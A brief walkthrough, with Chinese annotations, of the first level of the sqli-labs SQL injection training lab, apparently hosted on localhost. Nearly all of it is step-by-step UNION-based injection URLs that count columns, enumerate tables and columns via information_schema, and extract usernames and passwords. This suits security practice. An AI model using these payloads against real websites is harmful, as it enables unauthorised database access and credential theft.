sqli-labs-master

less-1

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%203--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%204--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,2,3--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,2,database()--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

查询列名：
http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
（不加and table_name='users'会显示所有表的列名，不利于查找我们想要的列名）

查询数据：
http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
（这里采用limit 0,1，因为用group_concat（）一次爆出多条数据，不方便我们查看相对应的用户名和密码，自己对比一下就知道了）